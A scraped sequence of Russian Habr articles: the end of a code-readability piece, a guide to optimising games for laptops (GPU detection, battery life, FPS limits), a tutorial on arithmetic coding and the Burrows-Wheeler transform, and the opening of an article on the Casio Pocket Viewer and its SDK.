private PartnerState CombineStates(
PartnerState currentState,
PartnerState prevState)
{
if (currentState == null
&& prevState == null)
{
throw new Exception(string.Format(
"Для партнера {0} не найдено текущее и предыдущее состояние на месяц {1}" , partner.id, month));
}
if (currentState == null)
{
//Код 1
}
else if (prevState != null)
{
//Код
}
return currentState;
}
````
Первая функция отвечает за получение состояний из словарей, вторая за их комбинирование в новое.
Представленные правила просты, но в комбинации дают мощный инструмент по упрощению кода и снижению нагрузки на память в процессе разработки. Всегда их соблюдать не получится, но в случае если вы осознаете, что не понимаете код, проще всего начать с них. Они не раз помогали автору в самых затруднительных случаях. | https://habr.com/ru/post/436160/ | null | ru | null |
# Разработка и адаптация игр под мобильные платформы
Адапта́ция (от лат. adapto — приспособляю) — процесс приспособления к изменяющимся условиям внешней среды.
В последние годы мы наблюдаем быстрые эволюционные изменения мобильных систем. Появляются совершенно новые, меняются существующие. Растет производительность, на смену ноутбукам идут ультрабуки, которые отличаются от своих предшественников не только внешним видом, но и новым форм-фактором, наличием тач-скрина, сенсорных датчиков и т.д.
И к этим изменениям надо приспосабливаться.
В этой статье я приведу несколько примеров и рекомендаций, которые помогут сделать вашу игру более дружественной к мобильным платформам, таким как ноутбуки, нетбуки, ультрабуки.
Изначально вычислительные возможности ноутбука не ставилась во главу угла, производители искали компромисс, жертвуя производительность размерам и энергопотреблению. Но прогресс не стоял на месте, процессоры совершенствовались, ускорялись, становились менее «прожорливыми», что в конечном итоге привело к тому, что сейчас на рынке можно найти мобильную систему ничем не уступающую настольной, а то и превосходящую ее по производительности.
С появлением Sandy Bridge второго поколения для мобильных систем ноутбуки стали еще ближе к тому, чтобы называться игровыми системами. Только за последние годы среднее количество кадров, достижимых в играх (при игре на средних настройках) значительно выросло.
Вот и прогноз рынка персональных систем показывает, что настольные ПК выходят из моды, на смену им идут мобильные. Объемы их продаж будут расти из года в год. Так же наблюдается смещение рынка в сторону ультрабуков, как наиболее мобильных среди мобильных. По пессимистичным прогнозам их продажи к 2015 году составят более 50 миллионов штук в год. По оптимистичным — около 150-ти.
Так это или нет — судите сами: большинство пользователей, задумываясь об апгрейде домашнего ПК выбирают ноутбук, получая при этом ту же производительность, плюс мобильность. В близком будущем предпочтение будет отдаваться ультрабуку, как более легкой, более производительной платформе обладающей, к тому же, рядом отличительных особенностей — дизайн, сенсоры.
Первый опыт
-----------
Первое, над чем стоит подумать, если вы хотите создать игру, которую смогут оценить пользователи на ноутбуках или ультрабуках, это главное меню игры. Первое впечатление может стать определяющим, оно может мотивировать пользователя к дальнейшим действиям (начать игру), либо побудить к тому, чтобы удалить игру и никогда больше к ней не возвращаться. Причиной может стать негативный опыт, например, у пользователя посредственная система, а вы, при создании игры, решили поразить его сногсшибательным главным меню, где все анимировано, присутствует куча эффектов, все блестит и переливается. В итоге после запуска пользователь увидит «слайдшоу» и первое впечатление будет испорчено. Здесь важно в процессе запуска игры определить возможности системы и, в случае если игра запущены на «слабом» ноутбуке — пожертвовать красотой интерфейса ради производительности.
Плюс дать пользователю простой и понятный способ входа в настройки игры, где он самостоятельно сможет подстроить игру под возможности своей системы. Так же, еще одним шагом навстречу пользователю, будет подтверждение использования выбранных настроек после их применения. Может случиться так, что пользователь случайно, или по незнанию, выберет максимальные настройки или неподдерживаемое разрешение, а вернуть, все как было, сможет только самый настойчивый (поиск и удаление файла с настройками, ветки в реестре и т.д.).
Определение параметров системы
------------------------------
В некоторых случаях, даже при определении настроек, все равно могут возникнуть проблемы с производительностью игры. Происходит это потому, что параметры системы определяются неверно, причем как в лучшую, так и в худшие стороны. Причиной может служить некорректное определение возможностей GPU:
* Определяется объем интегрированной в GPU памяти, и на основании этого делается вывод о производительности графической системы. При этом не учитывается объем разделяемой памяти, которая используется интегрированной графикой.
* Запрос поддерживаемых шейдеров и их использование в случае доступности, без анализа того, как его использование может повлиять на производительность игры в целом. Может привести к тому, что «картинка» будет красивой, но очень медленной.
* Определение параметров GPU, основанное на DeviceString. Эта строка может меняться в драйверах от версии к версии.
```
pFactory->EnumAdapters( FIRST_GFX_ADAPTER, &pAdapter ) ;
{
DXGI_ADAPTER_DESC adapterDesc;
pAdapter->GetDesc( &adapterDesc );
*VendorId = adapterDesc.VendorId;
*DeviceId = adapterDesc.DeviceId;
}
```
Но и данное решение является неполным. Для последних моделей Intel HD Graphics базоая частота отличается, она может составлять 350 МГц или 650 Мгц (в зависимости от модели) в нормальном режиме и 1100МГц и 1300МГц в режиме турбо. Для получения более полной картины так же необходимо учесть и частоту.
```
pDevice->CheckCounter( &Description, &Type, &SlotsRequired, sName, ……) ;
if ( strcmp(sName ,"Intel Device Information“) == 0 )
{
………
pImmediateContext->GetData(pCounter, pData, sizeof(SQueryDeviceInfo), NULL);
*pGPUMinFrequency = (SQueryDeviceInfo*)pData[0]->GPUMinFreq;
}
```
Более подоробный пример с исходниками можно найти на странице [GPU Detect](http://software.intel.com/en-us/articles/vcsource-samples-gpu-detect/)
Рендеринг с динамическим разрешением
------------------------------------
Разрешение экрана может стать следующим узким местом. Чем больше разрешение, тем больше ресурсов потребуется системе для вывода картинки на экран. Например, отношение количества пикселей на экране между WXGA и WQHD, равняется четырем. Т.е. потребуется рендерить в четыре раза большую сцену, потребуется в четыре раза больше памяти. Решением может стать рендеринг с динамическим разрешением. В общих чертах суть метода заключается в рендеринге сцены с меньшим разрешением с последующим масштабированием картинки до требуемого разрешения.
Более подробно об этом методе можно почитать здесь — [software.intel.com/ru-ru/articles/dynamic-resolution-rendering-article](http://software.intel.com/ru-ru/articles/dynamic-resolution-rendering-article/)
Специфические советы по оптимизации 3D графики на Intel GPU, как и рассказ об особенностях, производительности и развитии Intel HD Graphics можно почитать в этой статье — [habrahabr.ru/company/intel/blog/144486](http://habrahabr.ru/company/intel/blog/144486/)
Жизнь на батарее
----------------
Разработчик учел все техники оптимизации и адаптации игры под мобильные платформы, и пользователь получил игру, в которую можно и хочется играть. Что дальше? Позволить играть как можно дольше, т.к. это может быть интересно не только игроку, но и разработчику. Сейчас многие игры предлагают покупку игровых объектов за реальные деньги. В таких случаях выражение «время — деньги» принимает для разработчика буквальный смысл.
Для того чтобы найти решение, нужно понять причины проблем. Если рассматривать компоненты системы с точки зрения энергопотребления, у нас выстраивается следующая картина:
Лидером является экран, за ним следует процессор, память и т.д. На экран, вроде бы, повлиять никак нельзя, попробуем разобраться с CPU.
Процессор может находиться в различных состояниях, которые условно можно разделить на активное и состояние простоя. Основное энергопотребление приходится на активные состояния, плюс на переход из одного состояния в другое. Логика подсказывает — для того, чтобы минимизировать потребление процессор как можно дольше находиться в состоянии простоя и как можно реже переходил из одного в другое. Добиться этого можно следуя двум правилам:
#### Делай как можно быстрее
* Используя расширенные наборы инструкций (SSE, SSE2, AVX)
* Используя параллелизм
#### Делай как можно реже
* Объединяя периодические задачи
* Уменьшая частоту выполнения задач
Если с первым все более-менее понятно, то второй пункт я бы хотел немного объяснять. Картинка ниже наглядно демонстрирует, что может дать объединение задач (активностей).
Задачи выполняются при переходе в активное состояние, далее потоки засыпают и не мешают переходу процессора в более энергоэффективное состояние.
Вторая подзадача может решаться переходом к событийно зависимой модели. Рабочая задача не проверяет в цикле никаких условий, а спит, до тех пор, пока какое-либо событие не переведет ее в активное состояние.
#### Плохой пример
```
while(1)
{
if(bDoSomething == TRUE)
{
DoSomething();
}
Sleep(100);
}
```
#### Как правильно
```
while(1)
{
WaitForSingleObject(someEvent);
DoSomething();
}
```
Более подробно об энергоэффективности и оптимизации можно почитать в этой статье — [habrahabr.ru/post/134559](http://habrahabr.ru/post/134559/).
Неоправданно высокий FPS
------------------------
Повышение FPS в играх есть не что иное, как увеличение частоты выполняемых задач — частые обновления экрана приводят к тому, что система практически не находится в режиме простоя и расходует заряд батареи гораздо быстрее. Одной из техник оптимизации является ограничение количества FPS. Оптимального значения FPS не существует, все зависит от жанра игры, тут нужен, так сказать, персональный подход. То, чего можно добиться, ограничивая FPS, можно увидеть на картинках ниже. Данные результаты были получены при анализе работы приложения с помощью [Microsoft GPUView](http://msdn.microsoft.com/en-us/library/windows/hardware/ff570133(v=vs.85).aspx).
#### До ограничения
#### После
Если жанр вашей игры позволяет (например, не 3D шутер) — попробуйте поэксперементировать с FPS, возможно пользователь не заметит разницы, а в замен получит долшее время игры при работе ноутбука от батареи.
Адаптация к мобильности
-----------------------
При разработке игр, нацеленных на работу, в том числе, на мобильных системах, также необходимо учесть:
* Ноутбук может быть отключен от сети питания
* В процессе игры может быть применена схема питания, предполагающая худшую производительность в обмен на продление времени работы от батареи
* Пользователь может закрыть экран, либо перевести систему в режим гибернации или сна
Последний пункт является особенно важным. Встречаются игры и программы, которые игнорируют переходы системы из одного состояния в другое и в итоге просто «зависают» или «падают» после того, как ситема была переведена в режим сна (пользователь закрыл крышку ноутбука, или нажал кнопку питания) и вышла из него. Подобное поведение программ может поставить крест на игре, особенно если игрок уже потратил кучу времени на игру и после такого перехода игра «вывалилась» не сохранив его текущего прогресса.
Для отслеживания подобных событий, связанных с питанием, в Windows можно отслеживать событие WM\_POWERBROADCAST. Так же можно подписаться на уведомления об изменениях с помощью вызова функции RegisterPowerSettingNotification(). После вызова функции приложение будет знать о произошедших событиях и сможет их правильно обработать.
Все под контролем
-----------------
С целью облегчить получение различной информации, специфичной для мобильных платформ, компания Intel предлагает бесплатный Intel Laptop Gaming TDK. Используя простое API, вы можете получать информацию о:
* текущей схеме питания
* состоянии батареи
* состоянии беспроводного подключения
* и многое другое...
Более подробно о том, что предлагает Intel Laptop Gaming TDK, можно прочитать здесь: [Intel Laptop Gaming TDK](http://software.intel.com/ru-ru/articles/intel-laptop-gaming-technology-development-kit/)
Как это можно применить в играх? Просто представьте, что в интерфейсе игры появились следующие элементы
Игра (а не диалоговое окно системы, неожиданно сворачивающее игру) уведомляет игрока о низком заряде батареи и о примерном времени, которое он еще сможет провести в игре. В онлайн играх игрок сможет видеть в игровом интерфейсе текущее состояние и уровень сигнала беспроводной сети, ему не придется сворачивать игру, чтобы понять, что происходит с подключением, откуда появились задержки. Просто, наглядно, удобно.
Заключение
----------
Для того, чтобы сделать вашу игру более дружественной к мобильным устройствам:
* Тестируйте ваши игры не только на настольных, но и на мобильных платформах
* Закладывайте адаптацию с самого начала
* Используйте инструменты для оценки производительности и энергоэффективности
* Учитывайте время работы от батареи
* Не забывайте о специфике мобильности
На этом все, желаю вам удачи и творческих успехов! | https://habr.com/ru/post/144241/ | null | ru | null |
# Сжатие информации без потерь. Часть вторая
[Первая часть.](http://habrahabr.ru/post/142242)
Во второй части будут рассмотрены арифметическое кодирование и преобразование Барроуза-Уилера (последнее часто незаслуженно забывают во многих статьях). Я не буду рассматривать семейство алгоритмов LZ, так как про них на хабре уже были неплохие статьи.
Итак, начнем с арифметического кодирования — на мой взгляд, одного из самых изящных (с точки зрения идеи) методов сжатия.
#### Введение
В первой части мы рассмотрели кодирование Хаффмана. Несмотря на то, что это прекрасный, проверенный временем алгоритм, он (как и любые другие) не лишен своих недостатков. Проиллюстрируем слабое место алгоритма Хаффмана на примере. При кодировании методом Хаффмана, относительные частоты появления символов в потоке приближаются к частотам, кратным степеням двойки. По теореме Шеннона, напомню, наилучшее сжатие будет достигнуто, если каждый символ частотой f ьудет закодирован с помощью -log2f бит. Построим небольшой график (заранее приношу извинения, так как в построении красивых графиков я не силен).
Как можно заметить, в случаях, когда относительные частоты не являются степенями двойки, алгоритм явно теряет в эффективности. Это легко проверить на простом примере потока из двух символов *a* и *b* с частотами 253/256 и 3/256 соответственно. В этом случае в идеале нам понадобится , то есть 24 бита. В то же время, метод Хаффмана закодирует эти символы кодами 0 и 1 соответственно, и сообщение займет 256 бит, что, конечно, меньше 256 байт исходного сообщения (напомню, мы предполагаем, что изначально каждый символ имеет размер в байт), но все же в 10 раз меньше оптимума.
Итак, перейдем к рассмотрению арифметического кодирования, которое позволит нам получить лучший результат.
#### Арифметическое кодирование
Как и метод Хаффмана, арифметическое кодирование является методом энтропийного сжатия. Кодируемые данные представляются в виде дроби, которая подбирается так, чтобы текст можно было представить наиболее компактно. Что же это значит на самом деле?
Рассмотрим построение дроби на интервале [0,1) (такой интервал выбран для удобства подсчета), и на примере входных данных в виде слова «короб». Нашей задачей будет разбить исходный интервал на субинтервалы с длинами, равными вероятностям появления символов.
Составим таблицу вероятностей для нашего входного текста:
| | | | |
| --- | --- | --- | --- |
| Символ | Частота | Вероятность | Диапазон |
| О | 2 | 0.4 | [0.0, 0.4) |
| К | 1 | 0.2 | [0.4, 0.6) |
| Р | 1 | 0.2 | [0.6, 0.8) |
| Б | 1 | 0.2 | [0.8, 1.0) |
Здесь под «Частотой» подразумевается количество вхождений символа во входном потоке.
Будем считать, что данные величины известны как при кодировании, так и при декодировании. При кодировании первого символа последовательности (в нашем случае — "**К**ороб"), используется весь диапазон от 0 до 1. Этот диапазон необходимо разбить на отрезки в соответствии с таблицей.
В качестве рабочего интервала берется интервал, соответствующий текущему кодируемому символу. Длина этого интервала пропорциональна частоте появления символа в потоке.
После нахождения интервала для текущего символа, этот интервал расширяется, и в свою очередь разбивается в соответствии с частотами, так же как и предыдущие (то есть, для нашего примера, на шаге 2 мы должны разбить интервал от 0.4 до 0.6 на субинтервалы так же, как сделали это на первом шаге). Процесс продолжается до тех пор, пока не будет закодирован последний символ потока.
Иными словами, i-му символу будет ставиться в соответствие интервал
где N — количество символов алфавита, pi — вероятность i-го символа.
В нашем случае это выглядит так
Итак, мы последовательно сужали интервал для каждого символа входного потока, пока не получили на последнем символе интервал от 0.45312 до 0.4544. Именно его мы и будем использовать при кодировании.
Теперь нам нужно взять любое число, лежащее в этом интервале. Пусть это будет 0,454. Как ни удивительно (а для меня, когда я только изучал этот метод, это было весьма удивительно), этого числа, в совокупности со значениями частот символов, достаточно для полного восстановления исходного сообщения.
Однако для успешной реализации, дробь должна быть представлена в двоичной форме. В связи с особенностью представления дробей в двоичной форме (напомню, что некоторые дроби, имеющие конечное число разрядов в десятичной системе имеют бесконечное число разрядов в двоичной), кодирование обычно производится на основании верхней и нижней границы целевого диапазона.
Как же происходит декодирование? Декодирование происходит аналогичным образом (не в обратном порядке, а именно аналогичным образом).
Мы начинаем с интервала от 0 до 1, разбитого в соответствии с частотами символов. Мы проверяем, в какой из интервалов попадает наше число (0,454). Символ, соответствующий этому интервалу и будет первым символом последовательности. Далее, мы расширяем этот интервал на всю шкалу, и повторяем процедуру.
Для нашего случая процесс будет выглядеть так:
Конечно, ничто не мешает нам продолжить уменьшать интервал и увеличивать точность, получая все новые и новые «символы». Поэтому, при кодировании таким способом нужно либо заранее знать количество символов исходного сообщения, либо ограничить сообщение уникальным символом, чтобы можно было точно определить его конец.
При реализации алгоритма стоит учитывать некоторые факторы. Во-первых, алгоритм в виде представленном выше может кодировать только короткие цепочки из-за ограничения разрядности. Чтобы избежать этого ограничения, реальные алгоритмы работают с целыми числами и оперируют с дробями, числитель и знаменатель которых являются целым числом.
Для оценки степени сжатия арифметического кодирования нам нужно найти минимальное число N, такое, что внутри рабочего интервала при сжатии последнего символа можно заведомо найти число, в двоичном представлении которого после N знаков идут только нули. Для этого длина интервала должна быть не меньше, чем 1/2N. При этом известно, что длина интервала будет равна произведению вероятностей всех символов.
Рассмотрем предложенную в начале статьи последовательность символов *a* и *b* с вероятностями 253/256 и 3/256. Длина последнего рабочего интервала для цепочки из 256 символов будет равна
В таком случае, искомое N будет равно 24 (23 дает слишком большой интервал, а 25 не будет являться минимальным), то есть мы потратим на кодирование всего 24 бита, против 256 бит метода Хаффмана.
#### Преобразование Барроуза — Уилера
Итак, мы выясняли, что методы сжатия показывают разную эффективность на разных наборах данных. Исходя из этого, возникает вполне логичный вопрос: если на определенных данных алгоритмы сжатия работают лучше, то нельзя ли перед сжатием производить с данными некоторые операции для улучшения их «качества»?
Да, это возможно. Для иллюстрации, рассмотрим преобразование Барроуза Уилера, которое превращает блок данных со сложными зависимостями в блок, структура которого легче моделируется. Еслественно, это преобразование также полностью обратимо. Авторами метода являются Девид Уилер (David Wheeler) и Майк Барроуз (Michael Burrows, если верить вики, сейчас он работает в Google).
Итак, алгоритм Барроуза-Уилера (в дальнейшем для краткости я буду называть его BTW — Burrows-Wheeler Transform) преобразовывает входной блок в более удобный для сжатия вид. Однако, как показывает практика, полученный в результате преобразования блок обычные методы сжимают не так успешно, как специально для этого разработанные, поэтому для практического применения нельзя рассматривать алгоритм BWT отдельно от соответствующих методов кодирования данных, но поскольку наша цель — изучить принцип его работы, то ничего страшного в этом нет.
В оригинальной статье, вышедшей в 1994 году, авторами была предложена реализация кодирования на трех алгоритмах:
* Собственно, BWT
* Преобразование Move-to-Front, известное в русскоязычной литературе как перемещение стопки книг
* Статистический кодер сжатия полученных на первых двух этапах данных.
Правда, второй шаг может быть заменен на другой аналогичный алгоритм, или вовсе исключен за счет усложнения фазы кодирования. Важно понимать, что BWT *никак не влияет на размер данных*, он всего лишь меняет расположение блоков.
##### Алгоритм преобразования
BWT является блочным алгоритмом, то есть он оперирует блоками данных, и заранее знает о составе элементов блока определенного размера. Это делает затруднительным использование BWT в тех случаях, когда необходимо посимвольное сжатие, или сжатие «на лету». В принципе, такая реализация возможна, но алгоритм получится… не очень быстрым.
Принцип преобразования крайне прост. Рассмотрим его на классическом «книжном» примере — слове «абракадабра», которое прекрасно подходит нам по нескольким критериям: в нем много повторяющихся символов, и эти символы распределены по слову достаточно равномерно.
Первым шагом преобразования будет составление списка циклических перестановок исходных данных. Иными словами, мы берем исходные данные, и перемещаем последний символ на первое место (или наоборот). Мы проводим эту операцию до тех пор, пока вновь не получим исходную строку. Все полученные таким образом строки и будут являться всеми циклическими перестановками. В нашем случае это выглядит примерно так:
```
Абракадабра
Бракадабраа
Ракадабрааб
Акадабраабр
Кадабраабра
Адабраабрак
Дабраабрака
Абраабракад
Браабракада
Раабракадар
Аабракадабр
```
Мы будем рассматривать это как матрицу символов, где каждая ячейка — это один символ, соответственно, строка соответствует слову целиком. Мы помечаем исходную строку, и сортируем матрицу.
Сортировка производится сначала по первому символу, затем, для тех строк, где первый символ совпадает — по второму, и так далее. После такой сортировки наша матрица примет такой вид:
```
Аабракадабр
Абраабракад
Абракадабра – исходная строка
Адабраабрак
Акадабраабр
Браабракада
Бракадабраа
Дабраабрака
Кадабраабра
Раабракадаб
Ракадабрааб
```
В общем-то на этом преобразование почти закончено: все что осталось сделать — это записать последний столбец, не забыв при этом запомнить номер исходной строки. Сделав это, мы получим:
```
«р>>д<<акраааабб»
```
или, по-другому,
```
«рдакраааабб»,2
```
Как видим, распределение символов стало значительно лучше: теперь 4 из 5 символов «а» стоят рядом, как и оба символа «б».
##### Обратимость
Как я уже упоминал, преобразование полностью обратимо. Это и понятно, ведь иначе в нем не было бы никакого смысла. Так как же восстановить первоначальный вид сообщения?
Сперва нам необходимо отсортировать наши символы по порядку. Это даст нам строку «аааааббдкрр». Поскольку наша матрица циклических перестановок была отсортирована по порядку, то эта последовательность букв — ни что иное, как первый столбец нашей матрицы циклических перестановок. Кроме этого, нам известен и последний столбец (собственно, сам результат преобразования). Итак, на данном этапе мы можем восстановить матрицу до примерно такого состояния:
| | | |
| --- | --- | --- |
| а | ... | р |
| а | ... | д |
| а | ... | а |
| а | ... | к |
| а | ... | р |
| б | ... | а |
| б | ... | а |
| д | ... | а |
| к | ... | а |
| р | ... | б |
| р | ... | б |
Поскольку матрица была получена циклическим сдвигом, символы последнего и первого столбца образуют пары. Сортируя эти пары по возрастанию, мы получим уже первые два столбца. Затем, эти два столбца и последний образуют уже тройки символов, и так далее.
В конце концов мы полностью восстановим матрицу, а поскольку мы знаем номер строки, в которой содержатся исходные данные, то мы легко можем получить их первоначальный вид.
Иными словами, восстановление проводится следующим образом:
1. Присоединить символы последнего столбца слева к символам первого
2. Отсортировать все столбцы кроме последнего
Эти два шага нужно повторять до тех пор, пока матрица не будет полностью заполнена.
Для нашего примера первые четыре шага восстановления будут выглядеть так:
```
аа -> ааб -> аабр -> аабра ->...
аб -> абр -> абра -> абраа ->...
аб -> абр -> абра -> абрак ->...
ад -> ада -> адаб -> адабр ->...
ак -> ака -> акад -> акада ->...
бр -> бра -> браа -> брааб ->...
бр -> бра -> брак -> брака ->...
да -> даб -> дабр -> дабра ->...
ка -> кад -> када -> кадаб ->...
ра -> раа -> рааб -> раабр ->...
ра -> рак -> рака -> ракад ->...
```
##### Затраты ресурсов при работе
После того, как мы доказали обратимость данных, докажем то, что для осуществления алгоритма не нужно хранить в памяти всю матрицу. Действительно – если бы мы полностью хранили матрицу соответствующую, например, блоку размером в 1 мегабайт, то нам потребовалось бы колоссальное количество памяти – ведь матрица является квадратной. Естественно, такой вариант недопустим.
Для обратного преобразования нам дополнительно к собственно данным необходим вектор обратного преобразования – массив чисел, размер которого равен числу символов в блоке. Таким образом, затраты памяти при линейном преобразовании растут линейно с размером блока.
Во время обратного преобразования для получения очередного столбца матрицы совершались одни и те же действия. А именно, новая строка получалась путем соединения символа последнего столбца старой строки и известных символов этой же строки. Разумеется, после сортировки новая строка перемещалась на другую позицию в матрице. Важно, что при добавлении любого столбца перемещения строк на новую позицию должны быть одинаковы. Чтобы получить вектор обратного преобразования, нужно определить порядок получения символов первого столбца из символов последнего, то есть отсортировать матрицу по номерам новых строк
Вектор преобразования формируется из значений номеров строк: {2,5,6,7,8,9,10,1,3,0,4}.
Теперь можно легко получить исходную строку. Возьмем элемент вектора обратного преобразования, который соответствует номеру исходной строки в матрице: T[2]=6. Иначе говоря, в качестве первого символа исходной строки необходимо взять шестой символ строки «рдакраааабб» — символ «а».
После этого мы смотрим, какой символ переместил найденный символ «а» на вторую позицию среди одинаковых с ним. Для этого мы берем номер из вектора преобразования строки, из которой был взят символ «а»: это номер 6.
Затем смотрим строку, имеющую номер 6 и выбираем оттуда последний символ – это символ «б». Продолжая эту процедуру для оставшихся символов, мы легко восстановим исходную строку.
##### Перемещение стопки книг
Перемещение стопки книг — промежуточный алгоритм, который авторы рекомендуют использовать после BWT и перед непосредственным кодированием. Алгоритм работает следующим образом.
Рассмотрим строку «рдакраааабб», полученную нами по BWT в предыдущей части. В данном случае, наш алфавит состоит из 5 символов. Упорядочив их, получим
M={а, б, д, к, р}.
Итак, используем на нашей строке алгоритм перемещения стопки книг. Первый символ строки («р») стоит в алфавите на 4 месте. Это число (4) мы записываем в выходной блок. Затем мы помещаем только что использованный символ на первое место, и повторяем процесс со вторым символом, затем с третьим и так далее. Процесс обработки будет выглядеть так (под «номером» я предполагаю то число, которое пойдет в выходной поток):
| | | |
| --- | --- | --- |
| Символ | Алфавит | Номер |
| р | абдкр | 4 |
| д | рабдк | 3 |
| а | драбк | 2 |
| к | адрбк | 4 |
| р | кадрб | 3 |
| а | ркадб | 2 |
| а | аркдб | 0 |
| а | аркдб | 0 |
| а | аркдб | 0 |
| б | аркдб | 4 |
| б | баркд | 0 |
Результатом будет последовательность
```
43243200040
```
На этом этапе не совсем понятно, какой прок от этого алгоритма. На самом деле, прок есть. Рассмотрим более абстрактную последовательность:
```
ааааббббеееееддддда
```
Для начала просто закодируем ее по методу Хаффмана. Для наглядности предположим, что расходы на хранения дерева при использовании перемещения стопки книг, и без оного совпадают.
Вероятности появления всех четырех символов в нашем случае равны ¼, то есть кодирование каждого символа требует 2 бит. Легко подсчитать, что кодированная строка займет 40 бит.
Теперь проведем изменение строки алгоритмом перемещения стопки книг. В начале алфавит имеет вид
```
M={а,б,д,е}.
```
После использования алгоритма строка будет иметь вид
```
10002000030000300003
```
В этом случае частоты появления символов сильно изменятся:
| | | | |
| --- | --- | --- | --- |
| Символ | Частота | Вероятность | Код Хаффмана |
| 0 | 15 | 3/4 | 0 |
| 3 | 3 | 3/20 | 10 |
| 2 | 1 | 1/20 | 110 |
| 1 | 1 | 1/20 | 111 |
В этом случае после кодирования мы получим последовательность в 15+6+3+3=27 бит, что намного меньше чем 40 бит, которые получаются без перемещения стопки книг.
##### Заключение
Итак, в этой статье были рассмотрены арифметическое кодирование, а так же алгоритмы преобразования, позволяющие получить более «удобный» для сжатия поток. Нужно отметить, что использование таких алгоритмов как BWT очень сильно зависит от входного потока. На эффективность влияют такие факторы, как лексиграфический порядок следования символов, направления обхода кодера (сжатие слева направо или справа налево), размер блока, и так далее. В следующей части статьи я рассмотрю какой-нибудь более сложный алгоритм, используемый в реальных кодерах (какой именно пока не решил).
##### Литература
* Ватолин Д., Ратушняк А., Смирнов М. Юкин В. Методы сжатия данных. Устройство архиваторов, сжатие изображений и видео; ISBN 5-86404-170-X; 2003 г.
* Лидовский В. В. Теория информации: Учебное пособие. – М.: Компания Спутник+, 2004.
* Семенюк В. В. Экономное кодирование дискретной информации. – СПб.: СПбГИТМО (ТУ), 2001.
* Witten I. H., Neal R. M., Cleary J. G. Arithmetic Coding for Data Compression, CACM, 1987. | https://habr.com/ru/post/142492/ | null | ru | null |
# Самый мощный органайзер и его SDK
Приветствую всех.
Продолжим тему разработки под ушедшие в историю платформы. Сегодня расскажем про органайзеры Casio серии Pocket Viewer, бывшие популярными в узких кругах в первой половине нулевых.
В ходе статьи узнаем, как и на чём под него писать, где взять софт, какие остались тематические сайты, а также много чего интересного.
### Что это такое?
Casio Pocket Viewer позиционировался как электронный органайзер (при этом стоил он куда дешевле КПК «старших» моделей, который были основаны уже на Pocket PC и выпускались под линейкой Cassiopeia). Выпускалось их весьма большое количество моделей, но наибольшую популярность получили PV-S250 (PV-S450) и PV-S460 (PV-S660). Все они основаны на встраиваемой системе (на базе процессора NEC V30), имели монохромный экран разрешением 160х160, подключались к компьютеру по RS-232, работали на проприетарной ОС Pocket Viewer OS (или просто PVOS). Отличительной чертой был накопитель на флеш-памяти (первая цифра номера модели означает число её мегабайт), благодаря которому не требовалось постоянно следить за зарядом батареек, чтобы не потерять данные. Также поддерживалось и обновление ОС. Минусом этого варианта было низкое быстродействие — сохранение чего-либо занимало видимые секунды.
Таким образом, Casio PV был едва ли не последним массово производившимся КПК на базе процессора с архитектурой X86 (различные околопромышленные устройства вроде ТСД Symbol PDT или Psion Workabout в расчёт не берём). Последняя выпущенная модель, PV-S1600 имела подключение по USB и работала на процессоре SH-3, чем сильно отличалась от «классического» Pocket Viewer.
Главным конкурентом Pocket Viewer'а (в частности, модели PV-S450) был КПК Palm M100/M105, с которым чаще всего и сравнивался данный аппарат. PV имел ряд выгодных преимуществ: энергонезависимая память, колёсико прокрутки, удобное для чтения книг, большой экран, небывалое даже тогда время работы от батарей, стильный тонкий дизайн. Palm в ответ «брал» большим количеством приложений и лучшим, нежели PV, быстродействием.
В мои руки попал Casio PV-S450. Именно о нём и пойдёт речь дальше. Впрочем, всё, что будет сказано далее, справедливо для всех остальных моделей Casio Pocket Viewer на базе процессора x86. Устройства модели PV-S1600 у меня нет, так что тему разработки под него оставим до лучших времён. Также под управлением PVOS работали калькуляторы Casio ClassPad. За неимением у меня такого устройства, упоминание его тоже пока что скромно опустим.
### Почему именно PV-S450?
На самом деле ставку на какую бы то ни было популярность этой модели я не делал. Всё дело в том, что PV-S450 был единственным экземпляром, который мне удалось достать в комплектном состоянии. На всем известном сайте объявлений можно найти устройства вместе с подставкой, но на момент написания статьи цена на все из них выходит далеко за рамки приличия.
На всякий случай напомню: единственно возможная связь с внешним миром обеспечивается через интерфейс RS-232. Casio PV не оснащён ни ИК-портом (за исключением одной-единственной модели, но установка приложений там не поддерживается, увы), ни каким-либо другим беспроводным интерфейсом, так что подключить его как-то иначе вряд ли выйдет. Кроме того, разъём подключения проприетарный (не думаю, что в обычном магазине радиодеталей вы его найдёте), так что покупка Casio PV без кабеля или подставки — крайне такое себе решение.
Также стоит учесть, что установка приложений возможна только на те КПК, в названии модели которых есть буква S (что, видимо, означает «Software»).
### Обзор оборудования
Прежде чем переходить к средствам разработки, рассмотрим вначале сам органайзер.
У моего экземпляра интересное прошлое: ранее он принадлежал Дмитрию [Newbilius](https://habr.com/ru/users/newbilius/) Моисееву. Засветившись в его [обзоре](https://www.youtube.com/watch?v=s-oZlI4q7No) на YouTube, он был выставлен на вторичку и позже был приобретён мною. Ну что же, пришло его время снова оказаться продемонстрированным на просторах сети.
Экран КПК защищает пластиковая крышечка, которая у моего экземпляра даже умудрилась не отломаться и дожить до наших дней.
Помимо сенсорного экрана с сенсорными же подэкранными кнопками никаких элементов управления на передней панели нет.
На обратной стороне переключатель блокировки крышки отсека батареек (а заодно и выключатель питания), кнопка перезагрузки (у данного экземпляра она запала и не нажимается. Это особенность конкретного устройства: Pocket Viewer'ов у меня два, и на втором всё отлично работает), этикетка с моделью.
Слева джойстик прокрутки. Именно за этот элемент управления многие любили PV — читать на этом устройстве было очень удобно. Это не колёсико, аналогичное JogDial на КПК Sony, это именно джойстик, который можно нажимать или наклонять в две стороны.
На фото для сравнения джойстик у PV и у Sony Clié.
Снизу тот самый проприетарный разъём для подключения к компьютеру.
А вот и подставка. Весьма удобная, кстати.
Разбирать КПК я не стал: побоялся сломать защёлки. Но [на просторах](https://www.old-organizers.com/MorePicts/MP193.htm) обнаружились фото внутренностей.
Отчётливо видны процессор ~~системы «китайская капля»~~, микросхема памяти (на фото представлена модель PV-S250, рядом видно место для ещё одной, которая установлена в модели PV-S450), ОЗУ, шлейфы, катушка преобразователя для ЭЛИ-подсветки.
### Pocket Viewer SDK
Casio приняла правильное решение: средства разработки под данный КПК находились полностью в открытом доступе. В лучшие времена SDK можно было скачать с официального сайта.
Хотя для древнего софта правило «интернет ничего не забывает» традиционно не работает, SDK удалось найти вообще без проблем — находился он [тут](https://archive.org/details/pocketviewer). Internet Archive продолжает радовать: помимо SDK обнаружились и архивы некоторых ныне ушедших в историю тематических сайтов.
Итак, для начала разработки под Casio PV понадобится примерно следующее:
